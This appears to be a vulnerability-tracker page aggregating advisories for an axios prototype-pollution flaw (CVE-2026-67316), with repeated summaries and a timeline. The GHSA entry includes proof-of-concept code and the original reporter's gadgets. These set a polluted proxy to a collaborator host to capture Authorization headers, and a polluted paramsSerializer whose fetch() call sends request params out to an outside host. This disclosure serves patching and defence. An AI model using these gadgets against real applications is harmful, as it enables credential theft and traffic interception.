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axios before 1.18.0 Prototype Pollution via bodyless methods

CVSS 4.0 6.3 MEDIUMEUVD CVSS 4.0 6.3 CVSS 4.0 · [email protected] · Secondary 6.3 MEDIUMCVSS 3.1 · [email protected] · Primary 7.4 HIGHCVSS_V4 Publisher rating MODERATECVSS_V4 Publisher rating MODERATEFixed by axios 1.18.0Fixed by axios 0.33.0KEV status unknown

cve-program · CVE-2026-67316

Published

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

Read the publisher's advisory

euvd · EUVD-2026-51827

Published

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

Read the publisher's advisory

nvd · CVE-2026-67316

Published

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

Read the publisher's advisory

osv · GHSA-f2r5-pqh9-r8f8

Withdrawn

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-mmx7-hfxf-jppx. This link is maintained to preserve external references. ## Original Description axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

Read the publisher's advisory

osv · GHSA-mmx7-hfxf-jppx

Published

## Summary axios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`. ## Impact An attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`. For direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`. ## Affected Functionality Affected normal API: - `axios.get(url[, config])` - `axios.delete(url[, config])` - `axios.head(url[, config])` - `axios.options(url[, config])` Affected low-level usage: - Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`. - Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`. Unaffected or corrected scope: - Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads. ## Technical Details `lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter. `lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values. ## Proof of Concept of Attack ```js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ``` Expected result: a request body is sent even though the caller did not explicitly set `config.data`. ## Workarounds Avoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern. <details> <summary>Original Report</summary> ### Summary Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests. ### Details The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: `config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. `(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. `config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage. ### PoC Ran against `[email protected]` on `node:22-slim` in Docker. Clean install, no other deps. ```javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ``` ```javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ``` ```javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ``` ### Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly. </details>

Read the publisher's advisory

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14 Nov 2026 03:06:10 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

11 Nov 2026 15:09:14 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

9 Nov 2026 14:15:50 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

7 Nov 2026 13:32:41 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

5 Nov 2026 12:50:16 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

3 Nov 2026 12:08:44 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

1 Nov 2026 11:31:22 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

30 Oct 2026 10:59:08 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

28 Oct 2026 08:44:51 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

euvd · EUVD-2026-51827 · Published

25 Oct 2026 15:18:51 UTC

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.d…

nvd · CVE-2026-67316 · Published

24 Oct 2026 13:17:17 UTC

Duplicate Advisory: Axios: Prototype pollution gadgets can alter axios request construction

osv · GHSA-f2r5-pqh9-r8f8 · Withdrawn

24 Oct 2026 13:17:17 UTC

Axios: Prototype pollution gadgets can alter axios request construction

osv · GHSA-mmx7-hfxf-jppx · Published

23 Oct 2026 15:48:27 UTC

axios before 1.18.0 Prototype Pollution via bodyless methods

cve-program · CVE-2026-67316 · Published

ChangeIntel

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Sources read 16 Nov 03:41 UTC · 274 of 275 readable · 259 fully read · 11 waiting for GitHub's hourly limit · documentation 469/469 current